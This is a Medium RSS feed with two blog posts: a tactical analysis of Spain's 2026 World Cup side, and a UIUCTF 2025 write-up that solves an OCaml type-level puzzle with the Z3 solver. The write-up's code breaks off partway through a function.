<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nikhil Chapre on Medium]]></title>
        <description><![CDATA[Stories by Nikhil Chapre on Medium]]></description>
        <link>https://medium.com/@nikhilc2209?source=rss-b6aecb4000e9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*A3G14pl-BkncDIUyVfA5Rw.jpeg</url>
            <title>Stories by Nikhil Chapre on Medium</title>
            <link>https://medium.com/@nikhilc2209?source=rss-b6aecb4000e9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 16:12:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nikhilc2209/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Rebirth of a Golden Generation: La Roja]]></title>
            <link>https://medium.com/@nikhilc2209/rebirth-of-a-golden-generation-la-roja-b278495a16f5?source=rss-b6aecb4000e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/b278495a16f5</guid>
            <category><![CDATA[lamine-yamal]]></category>
            <category><![CDATA[spain]]></category>
            <category><![CDATA[football-tactics]]></category>
            <category><![CDATA[football-analytics]]></category>
            <category><![CDATA[football]]></category>
            <dc:creator><![CDATA[Nikhil Chapre]]></dc:creator>
            <pubDate>Sun, 19 Jul 2026 10:30:28 GMT</pubDate>
            <atom:updated>2026-07-19T10:40:11.324Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jNx2mUs93b1zQKKR.jpg" /><figcaption>Credits: UnanimoDeportes</figcaption></figure><p>Spain are through to the finals of the 2026 World Cup and are just one step away from winning the title for the second time in their history. This marks such a good time to discuss their beautiful journey as not only the most dominant team but also more importantly <strong>the most authentic team in international football.</strong></p><p>In Qatar, the whistles said it all. For 120 minutes against Morocco, Spain hoarded the ball, 77 percent of it, 926 passes threaded to nowhere and did willy nilly with it. They circled the edge of the box like a team afraid of what was inside, mustered just a single shot on target, and walked out on penalties on a day that saw them being berated by fans and critics alike.</p><p>Four years later they are back at the biggest stage with a team brimming with talent, optimism and willingness to fight for it all, but most importantly a team that knows how to play beautiful football in the most Spanish way possible.</p><h3>The Spanish way of fútbol</h3><p>A crucial part of understanding how a team plays or wants to play on the pitch is to understand how the foundations are laid out in the youth system and is often ingrained in their culture often reflected from a very young age. In Spain football is seen as an art form where the <strong><em>pitch is your canvas, the ball your paintbrush and the player controlling all of it as an artist.</em></strong></p><p>Spanish football was heavily influenced by the ideas of Total Football laid out by <strong>Johan Cruyff</strong> when he moved to Barcelona in 1988 as a manager and emphasized on a shift towards technical, possession oriented style of football which requires a great deal of technicality and a proper structure.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FwgYOtdDgJFs%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DwgYOtdDgJFs&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FwgYOtdDgJFs%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/5a42b7b4997aca534c8aa8f079700779/href">https://medium.com/media/5a42b7b4997aca534c8aa8f079700779/href</a></iframe><p>This is the first video that comes to mind when I think about Spanish football, even though this is from Xavi when he was managing Barca it provides great insight about how Spanish managers approach a game of football. Xavi talks rather preaches the <strong>4 P’s</strong> of his footballing philosophy: <strong>Positioning, Possession, Pressure and Perception.</strong></p><blockquote>“When someone asks what percentage of possession we think we can manage…</blockquote><blockquote>I always say I’d like to have 100%”</blockquote><blockquote>- Xavi</blockquote><p>To sum it up in a single sentence: Spanish football is all about <strong>Control, Order over Chaos. </strong>The idea is to always have the ball and move it meaningfully in a series of short passes in the opponent half to starve the opponent of the ball.</p><p>This is one reason you won’t see top Spanish sides punt the ball upfield from a goal kick, instead they use the goalkeeper as an extra player during their build-up phases. These teams prefer to build out from the back invite pressure and establish their mark over the opponent by moving the ball to pull the opposition apart.</p><p>This philosophy is also preached by their current manager <strong>Luis de la Fuente</strong> who has a rich history with the Spanish International team having coached most of these players at the youth level, what really sets him apart was the fact that he wasn’t someone with a stellar CV or someone who managed big clubs but someone who has already led them to glory at the under-19, under-21 level. De la Fuente took his time to assemble a team that plays the Spanish way and since his appointment in 2022 made them Nations League champions in 2023 and Euros champion in 2024, since then they are on a <strong>record unbeaten streak of 37 games</strong> and still look absolutely unstoppable!</p><p>There’s obviously a lot more to talk about their brand of football here, but I’ll limit myself to Spain’s current team and approach for now.</p><h3>From Tiki-Taka to Verticality</h3><p>Now obviously every system has its pros and cons and the obvious one here is that when you play with a slower tempo and take your time to work the ball up the pitch to occupy a defined structure in the opponent half, it also gives the opposition an ample amount of time to get players back and defend deep into a low block.</p><p>The game in context here is when Spain got knocked out by Morocco in the 2022 World Cup Round of 16 match in Qatar in a rather upsetting fashion. The blaring headline was this statistic which showed that Spain were all bark and no bite in that game:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*0lY0p4l_22QNqIfUWNRsSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pBjjQkzs02LGZCHG.jpeg" /><figcaption>Credits: Stats via Sofascore and OptaAnalyst</figcaption></figure><p>Despite dominating the game with <strong>77% possession, </strong>Spain could only muster <strong>a single shot on target!</strong> The fewest they had ever recorded in a World Cup game.</p><p>With such a disappointing result, the critics rightfully questioned why did they fail. And the simple answer was that there was <strong>no penetration, </strong>they were not quick enough to make the vertical through passes into the final third. Now obviously you can commend the remarkable ability of the Moroccan side who were really mobile in closing down spaces and defended really well in the latter stages, but you cannot deny the lack of intent to increase the tempo and have the courage to play creative passes more often. This saw them moving the ball around the Moroccan block in a horseshoe or a U-shaped pattern with no intent to create chances:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*40Rk4BClyQpeqSiid2013w.gif" /><figcaption>Credits: Courtesy of Claude</figcaption></figure><p>Compare that to the current Spanish national side, this team poses a much more attacking threat going forward. They are not as conservative as before and are not afraid to make those riskier passes in behind the opposition line. Numbers back this claim as Spain have outperformed every team that they faced in terms of <strong>xG</strong> this time and also lead the stat in terms of linebreaking passes attempted alongside England.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JOopjq2QBuH92QtajFCvwQ.png" /></figure><h3>General Setup: In &amp; Out of Possession</h3><p>Spain line up, on paper, in the most Spanish formation there is: a 4-3-3 but rigid formations don’t exist in the modern game and they quickly dissolve into a much more aggressive structure as the game progresses into the opponent half.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*arEeoKdhnDzvwnKFpi70jA.png" /><figcaption>Spain using Unai Simon to form a back three</figcaption></figure><p>As I mentioned before Spain always want to play out from the back and they use their goalkeeper as an extra player to have a numerical advantage in the build up phase. This is one reason Unai Simon has always been preferred as the #1 goalkeeper because of his exceptional composure with the ball on his feet. You can see he is comfortably holding the ball outside the box forming a back 3 with his centre backs inviting the opponent press.</p><p>Once they progress the ball into the opponent half, they slow down the tempo and push players into a sort of 3–2–5 or 2–3–5 structure. The beauty of structure lies in the fact that Spain can attack in a number of ways now, having 5 players against the opposition backline of 4 gives them a numerical advantage, while the wide players hug the touchline to stretch the opposition backline as much as possible which creates space for midfielders to play through them.</p><p>Meanwhile they can also overload central spaces by putting highly technical players between the lines, who are comfortable receiving the ball under pressure and play decisive quick one-two’s to create chances. Spain also regularly play without a traditional #9 which means Oyarzabal/Ferran can keep dropping from the backline to pull a centreback out of position to create space in-behind.</p><p>This fluidity in their attack and the fact that player rotations are so flexible where almost everyone is comfortable playing in position of the pitch makes them the most unique national teams.</p><p>Out of possession Spain defend in a standard 4–3–3/4–4–2 depending on the opponent, they look to press aggressively and try to win the ball as high up the pitch as possible. The idea is simple, regain the ball back as quickly as possible and try to create 1v1’s high up the pitch, if not recycle possession using midfielders and keep shifting the ball sideways until you find space.</p><h3>Spain’s most pivotal players</h3><h4>Rodri</h4><p>Rodri is at the heart of everything that this team does, he is the fulcrum during their build phase, the distributor once they beat the first line of pressure and the destroyer who gets the ball back if they lose it. He can do it all with so much grace that there is no one better at what he does and with the composure that he has he will always be regarded as one of the greatest holding midfielders for all time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C5-zXUqZgaVdCVSv.jpg" /><figcaption>Credits: ESPN</figcaption></figure><p>Statistically his numbers are baffling, he leads the stats for Spain in terms of touches, passes, final-third passes, duels won, possessions won, recovery runs and tackles. He is a machine who has an exquisite passing range but can also carry the ball in the final third, also not to mention isn’t shy from taking a killer shot from the edge of the box every now and then. For me Rodri enables this team and everyone around him to play better, he is that one player who always needs to be on the pitch.</p><h4>Dani Olmo</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*x7hTDSxxtQ1F7VwH.jpg" /><figcaption>Credits: Football España</figcaption></figure><p>Dani Olmo is the <strong>perfect rendition of a modern #10,</strong> someone who plays between the lines, takes fewer touches and can play the decisive pass into the final third. I remember watching him play for RB Leipzig a few years back in the Champions League and boy was I impressed, I always hoped to see him on the big stage one day and now finally he is getting his flowers. Dani Olmo was indispensable for La Roja in their Euros 2024 campaign and is still vital for them in this World Cup. And today I learned that with his assist against France in the semis he became the player with the <strong>most assists for Spain in big tournaments (8)</strong> surpassing Cesc Fabregas.</p><p>In my opinion the technical brilliance of any playmaker playing between the lines is the trademark move of making a half-turn and I don’t think I’ve seen anyone do it better than him right now, he reminds me of someone like <strong>David Silva or De Bruyne</strong> in their prime years and I hope he lives up to these big names.</p><h4>Pau Cubarsi</h4><p>Absurdly the best centre-back so far at the World Cup is not some experienced veteran but a teenager and La Masia graduate named Pau Cubarsi. At just 19 years old he has been an undisputed starter for La Roja and has performed well above his years. As a textbook ball playing defender, his decision making is immaculate and his composure against the best attackers in the world is insanely underrated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DR1aGEpWfsu5TS5r" /></figure><p>His numbers speak for themselves, his distribution is impeccable as he leads the stat for most <strong>accurate passing percentage (97%) </strong>throughout the tournament alongside his teammates Rodri and Laporte. He also leads the stat for most key passes by a defender in this tournament alongside Porro. Against France he had a banger of a game as he managed to keep up with the whole France front line and denied them a clear shot on target with a combination of good positioning and last ditch defending.</p><p>He has a good understanding of the game and has a good physical presence as well, I remember watching him debut for Barcelona in the Champions league knockout game against Napoli against the might of Osimhen who was in red-hot form and he clearly came out on top. Since then I’ve always enjoyed watching him, with so much talent and leadership qualities he is rightfully drawing comparisons with the likes of <strong>Maldini and Puyol,</strong> though it’s still early to put an end to this conversation, what we can really conclude is that he is definitely a treat to watch.</p><h3>A Defensive Masterclass</h3><p>A big part of their successful run to the finals has been their indomitable defense as they have conceded just a single goal with <strong>6 clean sheets out of 7</strong> so far, in fact they have only conceded just <strong>2.1 xG</strong> so far. So it’s obviously not a matter of chance or poor finishing by the opponents, Spain have completely restricted their opponents’ chance creation by a combination of relentless counter pressing and a structured rest defense.</p><p>An interesting idea that is often preached by Spanish coaches is <strong>“defending with the ball”</strong>, this is just an extension of the idea where the attacking team believes that having the ball all the time denies the opposition to create anything from it.</p><p>And this works for them in both phases of the game (in and out of possession) because as Guardiola defines it:</p><blockquote>“When the opponent has the ball far away from the goal and when you have the ball, that’s the best way to defend.</blockquote><blockquote>To concede a goal, the opponent has to have the ball and the less they have it, the more chances we have to have a clean sheet and be solid.”</blockquote><blockquote>- Pep Guardiola</blockquote><p>Now the weakest link of any team that wants to play possession based football in the opponent half is defending transitions, moments where you lose the ball and you’re suddenly vulnerable to a counter. The key to defend such moments lies in the structure or the shape of your team when a turnover happens also known as <strong>rest defence.</strong></p><p>One genuine gamble that Spain always takes is by pushing both fullbacks high up the field, which means that in the case of a turnover they are vulnerable in the wide spaces, but with a mix of good counter pressing and recovery runs by both fullbacks they snuff out the danger much before it reaches their own half. An interesting stat shows that leading up to their semifinal game against France, Spain restricted their opponents to only an <strong>average of 2.9 passes or 7.7 seconds</strong> on the ball before getting it back.</p><h4>Chance Creation from the back</h4><p>I came across this interesting stat via Opta and it blew my mind, although it is kind of expected from a team like Spain. Spain’s two centre-backs don’t only pass out from the back but they <em>a</em>lso carry it out of pressure, both Laporte and Cubarsi lead the stat for <strong>most progressive carries</strong> and <strong>most progressive distance</strong> in the whole tournament.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PnI5gpIXi84FhZpz1OOGFg.png" /><figcaption>Credits: Stats via OptaAnalyst</figcaption></figure><p>This shows that for a team like Spain everyone out on the pitch can create chances from any part of the pitch, they are just too good at it, if the defense is really compact and there is no space between the lines, Cubarsi can play a long ball over the top to find a runner in-behind like Baena or Yamal to create a quality chance, this makes this team genuinely well-rounded and a serious threat from any part of the pitch.</p><h3>World-Class Fullbacks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*v3yllCZUhUFkQKtw" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tLxEq2W8xyaJ4pwE.jpg" /><figcaption>Credits: Tottenham Hotspurs</figcaption></figure><p>Marc Cucurella and Pedro Porro have been heavily favored over everyone else by Luis de la Fuente and for me they are the perfect examples of modern fullbacks. They are auxiliary wingers when Spain attack and orthodox defenders the instant they lose the ball.</p><p>Cucurella from the left-back position can be often seen making overlapping runs offering width in order to stretch the opposition backline whereas Porro does the opposite by making underlapping runs often arriving in the right half-space and combining with either Olmo or Yamal to create chances. Porro is one of the most outstanding threats as he leads the stat in terms of chances created by a defender at this World cup (9).</p><p>Now flip the picture, the same Porro who tops the creativity charts also makes more <strong>ball recoveries per ninety minutes</strong> than any other outfield player in the squad <strong>(7)</strong>. Both of these fullbacks have made the most recovery runs alongside Rodri and are a key reason to why Spain have such a formidable defense.</p><h3>Lamine Yamal: Spain’s very own Starboy</h3><p>Neither words nor any statistic can do this player justice, aesthetically pleasing on the eye and a phenomenon to behold when on song, Lamine Yamal is the definition of a winger with surging talent waiting to be unleashed. Even though he just recently turned 19 he is already the most indispensable player in the squad and de la Fuente’s whole system bends around engineering chances to isolate Yamal 1v1 with the opponent fullback. And he has already proved his mettle by performing the most successful dribbles so far in the tournament (22) only behind Messi, not bad at all right.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*B8OMgYntZ3JMtXZn.jpeg" /><figcaption>Credits: Catalan News</figcaption></figure><p>To some people he is a <strong>Messi regen</strong> hailing from the same La Masia while some people can find <strong>Neymar’s flair</strong> in his movement and some follow him for his <strong>ego and top mentality like Cristiano.</strong> Whatever may be the reason, he has left his mark as the best wonderkid and has often been the difference maker for Spain and should get the same respect in the final.</p><p>Coming into the World Cup following a hamstring injury, he was cautiously used by de la Fuente in the group stage games to not risk worsening his condition. The fact he isn’t even in his peak condition and is still putting up world class numbers is mind boggling. He was again seen limping off after the semis against France but his availability has been greenlit and we will hopefully get to see him for the full duration.</p><h3>Closing Note</h3><p>As I start winding things up, I must admit this blog was slightly rushed as I feel there is so much more to discuss, I wanted to plant more in-game examples to show just how flawless Spain can be. But as I’m making my final editing pass over this piece, it’s already 3 AM and I’m literally typing with a bruised finger and typing anything really hurts right now.</p><p>But I hope you guys enjoyed reading this little blog if you made it till the end that is, I would really appreciate if you managed to stick till the end because Spain is one of the teams that I’ve always enjoyed watching, they’re easier to analyse and play football with near perfection. I never had the privilege of watching the <strong>golden generation of Spain (2008–2012)</strong> play but thankfully I have the privilege of watching this new generation come to life.</p><p>At the time of writing, Argentina has progressed to the final after mounting another comeback and the final tomorrow between Spain and Argentina has the potential to be a blockbuster, I usually refrain from making predictions but I really think this one might go to overtime or even penalties and I really hope someone pulls off an <strong>Iniesta!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3IpehOkqpvROZBix" /><figcaption>Credits: Goal.com</figcaption></figure><h3>References</h3><ul><li><strong>Xavi’s philosophy:</strong> <a href="https://www.youtube.com/watch?v=wgYOtdDgJFs">https://www.youtube.com/watch?v=wgYOtdDgJFs</a></li><li><strong>Guardiola’s idea of defending with the ball:</strong> <a href="https://bitterandblue.sbnation.com/2022/2/8/22923375/pep-talk-when-you-have-the-ball-that-is-the-best-way-to-defend">https://bitterandblue.sbnation.com/2022/2/8/22923375/pep-talk-when-you-have-the-ball-that-is-the-best-way-to-defend</a></li><li><strong>FIFA player stats:</strong> <a href="https://www.fifa.com/en/tournaments/mens/worldcup/canadamexicousa2026/statistics/player-statistics">https://www.fifa.com/en/tournaments/mens/worldcup/canadamexicousa2026/statistics/player-statistics</a></li><li><strong>Stats from OptaAnalyst: </strong><a href="https://theanalyst.com/competition/fifa-world-cup/stats">https://theanalyst.com/competition/fifa-world-cup/stats</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b278495a16f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stepping down into the Ocaml Mines — UIUCTF 2025 Writeup]]></title>
            <link>https://medium.com/@nikhilc2209/stepping-down-into-the-ocaml-mines-uiuctf-2025-writeup-303a2eb5551a?source=rss-b6aecb4000e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/303a2eb5551a</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ocaml]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Nikhil Chapre]]></dc:creator>
            <pubDate>Sun, 03 Aug 2025 07:04:47 GMT</pubDate>
            <atom:updated>2026-07-16T19:57:52.658Z</atom:updated>
            <content:encoded><![CDATA[<h3>Stepping down into the Ocaml Mines: UIUCTF 2025 Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*P-N5PGJs-gNA7FgkADsh6A.jpeg" /></figure><p>This writeup and solution is a combined effort from me and <strong>my teammate “e-” (Elemental) as part of </strong><a href="https://ctftime.org/team/384247/"><strong>CTF Academy</strong></a><strong>.</strong> I decided to keep this writeup a bit comprehensive because it took us embarrassingly long to solve this challenge, but it allowed me to learn a lot about how Ocaml works.</p><p>This rev challenge is based around a pretty old functional programming language known as “Ocaml” which I was completely unaware of before this CTF. Personally I found this challenge pretty interesting which helped me discover a niche language, understand it and then reverse the logic to get the flag!</p><h3>Challenge #1: WeirdCaml</h3><h4>Category: rev<br>Author: n8</h4><h4>Brief info about the challenge and Ocaml</h4><p>The challenge gives us a file with a long list of type definitions, which to be honest were a bit hard to understand for me. (Sorry Medium has no support for Ocaml highlighting 😬)</p><pre>type b_true<br>type b_false<br>type &#39;a val_t =<br> | T : b_true val_t<br> | F : b_false val_t</pre><p>This snippet represents the first part of the problem, let’s break it down to understand what’s going on. The challenge file declares two empty types called b_true and b_false, at no point in the file are these types used for any variables, these are purely used as empty type markers or boolean flags. You can think of them as undefined macros in C:</p><pre>#DEFINE b_true<br>#DEFINE b_false</pre><p>Then there’s another type definition, ’a val_t. This is interesting because the type definition here is ambiguous and is dependent on type of a hence the apostrophe before it: ’a. This is known as a <strong>GADT (Generalized algebraic datatypes)</strong> in Ocaml. This pattern allows us to create polymorphic types by passing a ambiguous type parameter.</p><pre>type &#39;a val_t =<br> | T : b_true val_t<br> | F : b_false val_t</pre><p>Tand Fare called constructors for this GADT, this means that we can only invoke constructor T when ’a is set to b_true and constructor F only when ’a is set to b_false.</p><p>Now let’s look at the next part of the challenge:</p><pre>type (&#39;a, &#39;b, &#39;c, &#39;d) p1_t =<br> | P1_1 : b_true val_t -&gt; (&#39;a, b_true, &#39;c, &#39;d) p1_t<br> | P1_2 : b_true val_t -&gt; (&#39;a, &#39;b, b_true, &#39;d) p1_t<br> | P1_3 : b_true val_t -&gt; (&#39;a, &#39;b, &#39;c, b_true) p1_t<br> | P1_4 : b_true val_t -&gt; (b_false, &#39;b, &#39;c, &#39;d) p1_t</pre><p>now that we understand how GADT’s work, the challenge defines a ton of GADT’s in the form of px_t where x ranges from 1 to 1435 to be precise, but this time these GADT’s define 4 type parameters, and 4 constructors which determines different constraints on these type parameters.</p><p><strong>For example:</strong> calling p1_t with constructor P1_1 with value T (b_true val_t) means that among the returned type parameters ’b has to be of the type b_true while ’a, ’c, ’d can be ambiguous types. In the given problem every constructor restricts one output type while the other 3 type parameters can be ambiguous types.</p><h4>Taking a look at type puzzle</h4><p>Finally we have one last type definition called puzzle, this defines the core problem in our CTF so let’s have a look at first part of puzzle:</p><pre>type puzzle =<br> Puzzle :<br> &#39;flag_000 val_t * <br> &#39;flag_001 val_t * <br> &#39;flag_002 val_t *<br> …<br> &#39;flag_103 val_t *<br> &#39;a val_t * <br> &#39;b val_t * <br> &#39;c val_t *<br> …<br> &#39;z val_t *<br> &#39;a1 val_t * <br> &#39;a2 val_t * <br> &#39;a3 val_t *<br> …<br> &#39;a147 val_t *</pre><p>type puzzle is another GADT, and a massive one which starts by defining a single constructor called Puzzle which binds a bunch of type variables divided in 3 parts:</p><ul><li>&#39;flag_000 to ‘flag_103 (flag bits encoded in the form of T/F)</li><li>‘a to ‘z (idk why there are types from a to z)</li><li>‘a1 to ‘a147 (more supporting variable types)</li></ul><p>Since there are 104 type variables of the format flag_XXX, <strong>we can assume that these constitute individual flag bits, so 104/8 = 13 flag bytes.</strong> The other type variables are just supporting variables which help us set constraints for the flag type variables. <br><strong>PS:</strong> Something which bugged me for a long time in this problem was why are there type variables ranging from ’a to ’z when they have nothing to do with the flag directly, before solving the problem I kept thinking they have some connection to the flag which kept putting me off-track.</p><p>Now let’s look at next part of type puzzle:</p><pre>(&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p1_t *<br>(&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p2_t *<br>(&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p3_t *</pre><p>We find a bunch of type annotations, which take some type parameters and match it against the allowed type definitions for that type. <strong>For example:</strong> if we look at the passed type parameters for this annotation: (‘a, ‘flag_016, ‘flag_038, ‘flag_040) p1_t * this means that for this expression to be valid it has to returned by invoking of the constructors from p1_t’s GADT.</p><p><strong>That means this condition has to match against one of these 4 constraints for it to be a valid type:</strong></p><pre>type (&#39;a, &#39;b, &#39;c, &#39;d) p1_t =<br> | P1_1 : b_true val_t -&gt; (&#39;a, b_true, &#39;c, &#39;d) p1_t<br> | P1_2 : b_true val_t -&gt; (&#39;a, &#39;b, b_true, &#39;d) p1_t<br> | P1_3 : b_true val_t -&gt; (&#39;a, &#39;b, &#39;c, b_true) p1_t<br> | P1_4 : b_true val_t -&gt; (b_false, &#39;b, &#39;c, &#39;d) p1_t</pre><p>Now we have a whole overview of what constructor Puzzle in type puzzle is, by definition it defines a humungous tuple where each type is concatenated by an asterisk * which is like an AND condition.</p><blockquote><strong>So for the whole type puzzle to be valid, every single type inside the tuple should be a valid type.</strong></blockquote><p>Now this statement has some interesting implications, since all the type variables are defined with val_t they can only be of constructor type T or type F from val_t’s GADT. Now we can resolve this problem by using a constraint solver and putting in all our constraints and try to find a solution which satisfies them.</p><h3>Solution</h3><p>For our solve script we’ll use Z3 as our constraint solver, but first we need to set variables and build constraints for Z3 to work.</p><h4>Making variables</h4><p>As we saw earlier we have 3 types of type variables, even though we only care about the flag_XXX variables we need to give Z3 all of them as the flag types depend on the other supporting type variables. Since all these types are of type val_t which can only be defined with type T or type F, <strong>we can treat them as booleans or more conveniently in Z3 as BitVectors of size 1.</strong></p><pre>def make_vars():<br>    flag = {}<br><br>    for i in range(104):<br>    var_name = &#39;flag_&#39; + str(i).rjust(3, &#39;0&#39;)<br>    flag[var_name] = BitVec(var_name, 1)<br><br>    for i in range(1, 148):<br>    var_name = &#39;a&#39; + str(i)<br>    flag[var_name] = BitVec(var_name, 1)<br><br>    for i in range(97, 123):<br>    var_name = chr(i)<br>    flag[var_name] = BitVec(var_name, 1)<br><br>    return flag<br><br>flag = make_vars()</pre><p>For convenience we just bundled them up and put them in a dictionary.</p><h4>Parsing conditions from constructors</h4><p>Let’s look at a sample constraint for this type definition: (‘a, ‘flag_016, ‘flag_038, ‘flag_040) p1_t *</p><p>Looking at this above constraint for type p1_t we can’t really say much because we don’t know which constructor resulted in this type declaration. But what we do know that for it to be a valid type declaration it has to come from one of the 4 constructors of p1_t i.e. P1_1 to P1_4. Which means we can combine these 4 conditions with a single OR operation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B9VVLCccH7IaB437uiqHYw.png" /></figure><p>Since all other type variables are ambiguous <strong>we can condense all 4 possible constructors into a single condition by just OR-ing them.</strong> Similarly we can do the same for all of the type variables of the form px_t and store them in a dictionary.</p><pre>def make_constraints(raw_string):<br>    chunks = raw_string.split(&quot;type &quot;)<br>    chunks = chunks[1:]<br>    filtered = []<br>    p_dict = {}<br>    for i in range(len(chunks)):<br>        data = chunks[i].lstrip().rstrip().split(&#39;\n&#39;)<br>        data[0] = data[0].replace(&#39;=&#39;, &quot;&quot;).lstrip().rstrip()<br>        temp = data[0].split(&quot; &quot;)<br>        data[0] = temp[-1]<br>        key = data[0]<br>        value = [0] * (len(data)-1)<br>        for j in range(1, len(data)):<br>            rules = data[j].split(&quot; &quot;)<br>            rules = rules[8:12]<br> <br>        for k in range(len(rules)):<br>            if &#39;b_true&#39; in rules[k]:<br>              value[k] = 1<br>            if &#39;b_false&#39; in rules[k]:<br>              value[k] = 0<br>        <br>        p_dict[key] = value<br><br>    return p_dict<br><br>p_dict = make_constraints(raw_px_t)</pre><h4>Building constraints for Z3</h4><p>After we are done dealing with our polymorphic constructors we can now move on to looking at constraints for our type variables. <strong>This part was mostly done by my teammate “e-”</strong> so I’ll just try to summarize his approach. Before building the constraints I want to point out something very important he mentioned which will help us later on.</p><pre>(&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p1_t *<br> (&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p2_t *<br> (&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p3_t *<br> (&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p4_t *<br> (&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p5_t *<br> (&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p6_t *<br> (&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p7_t *<br> (&#39;a, &#39;flag_016, &#39;flag_038, &#39;flag_040) p8_t *<br> (&#39;a, &#39;b, &#39;flag_068, &#39;flag_071) p9_t *<br> (&#39;a, &#39;b, &#39;flag_068, &#39;flag_071) p10_t *<br> (&#39;a, &#39;b, &#39;flag_068, &#39;flag_071) p11_t *<br> (&#39;a, &#39;b, &#39;flag_068, &#39;flag_071) p12_t *<br> (&#39;a, &#39;b, &#39;flag_068, &#39;flag_071) p13_t *<br> (&#39;a, &#39;b, &#39;flag_068, &#39;flag_071) p14_t *<br> (&#39;a, &#39;b, &#39;flag_068, &#39;flag_071) p15_t *<br> (&#39;a, &#39;b, &#39;flag_068, &#39;flag_071) p16_t *<br> (&#39;b, &#39;a60, &#39;flag_101, &#39;flag_091) p17_t *<br> (&#39;b, &#39;a60, &#39;flag_101, &#39;flag_091) p18_t *<br> (&#39;b, &#39;a60, &#39;flag_101, &#39;flag_091) p19_t *<br> (&#39;b, &#39;a60, &#39;flag_101, &#39;flag_091) p20_t *<br> (&#39;b, &#39;a60, &#39;flag_101, &#39;flag_091) p21_t *<br> (&#39;b, &#39;a60, &#39;flag_101, &#39;flag_091) p22_t *<br> (&#39;b, &#39;a60, &#39;flag_101, &#39;flag_091) p23_t *<br> (&#39;b, &#39;a60, &#39;flag_101, &#39;flag_091) p24_t *<br> (&#39;a60) p25_t *</pre><p>Look at this small snippet which defines constraints on types from p1_t to p25_t, we can definitely see a pattern here where every 8 consecutive types use the same variable but all of them have a type parameter in common, but after this these variables don’t appear. <strong>My teammate’s idea was to classify this as a single group since all these type variables are dependent on each other and are bound by a single type variable which we know for sure is </strong><strong>T or </strong><strong>F i.e. </strong><strong>a60 in this case.</strong></p><p><strong>PS:</strong> I think it’s not necessary to make groups for this challenge, it’s just easier to feed it to Z3 if we do it this way.</p><h4>Feeding constraints to Z3</h4><p>Now that we know how to segregate our constraints into groups, we need to parse it and let Z3 know about the constraints. <strong>As discussed earlier every line of constraint can be resolved with an </strong><strong>Or operator in Z3</strong> since any one constructor needs to be valid. <strong>Now we need to chain all these constraints together with an </strong><strong>And operator in Z3</strong>, since all these type variables need to be valid at the same time. To better visualize it this is how the first 4 constraints would look like without grouping:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UG5Fr8SAxTeOQBFvA8Ebkw.png" /></figure><p>Code for parsing groups and feeding constraints to Z3:</p><pre>def parse_group(input):<br>    group = []<br>    <br>    lines = input.split(&#39;*&#39;)<br>    for i in range(len(lines)):<br>        lines[i] = lines[i].lstrip()<br>        lines[i] = lines[i].rstrip()<br>    <br>    if lines[-1] == &quot;&quot;:<br>        lines = lines[:-1]<br> <br>    for i in range(len(lines)):<br>        data = lines[i].split(&quot; &quot;)<br>        for j in range(len(data)):<br>            data[j] = data[j].replace(&quot;(&quot;, &quot;&quot;).replace(&quot;)&quot;, 